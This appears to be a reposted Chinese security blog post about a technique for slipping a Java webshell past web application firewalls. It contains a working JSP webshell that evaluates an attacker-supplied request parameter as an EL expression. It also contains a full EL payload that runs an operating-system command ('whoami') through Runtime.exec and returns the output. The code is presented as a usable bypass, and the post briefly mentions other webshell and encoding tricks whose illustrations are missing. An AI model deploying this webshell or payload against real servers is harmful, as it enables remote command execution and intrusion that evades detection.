java el表达式+scriptengine webshell bypass waf
2023-2-24 00:58:50 Author: goddemon的小屋(查看原文) 阅读量:45 收藏

前言:

翻自己以前写过的东西,在土司翻到了以前提到过的这个问题,这个问题之前查看别的师傅写的文章,很早就有了相关的解决方法,但是一直没回复这种的解决思路.

这里分享下,主要分享el表达式加scriptengine的思路,也当作水篇文章吧。


原理分析参考链接:

https://forum.butian.net/share/886

运用:

el表达式的shell

<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
    String res = (String)
            PageContextImpl.proprietaryEvaluate(request.getParameter("test"),
                    String.class, pageContext, null);
    out.print(res);
%>

回显payload:

test=${pageContext.setAttribute("inputStream",Runtime.getRuntime().exec("cmd+/c+whoami").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable",pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass",Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod",pageContext.getAttribute("byteBufferClass").getMethod("allocate",Integer.TYPE));pageContext.setAttribute("heapByteBuffer",pageContext.getAttribute("allocateMethod").invoke(null,pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(),0,pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType",pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass",Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor",pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes",pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}
image.png

其他思路:

当然啦远程webshell和jni马的思路也是可以绕过的,也不一定要用这个思路。

甚至于还可以利用补天大会里面提到的一个点,tomcat支持的编码特性来进行绕过。

如编码特性图:webshell内容为

执行:

最后:

好好学习,好好锻炼,好好生活。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NTc1ODY0Mw==&mid=2247485416&idx=1&sn=880d7dceeb0121c317d944215fa81db0&chksm=ea993534ddeebc22f4c674a320459a3235709d9f355d5b8c4a0d7cc1b782fe46f96bc7f9609f#rd
如有侵权请联系:admin#unsafe.sh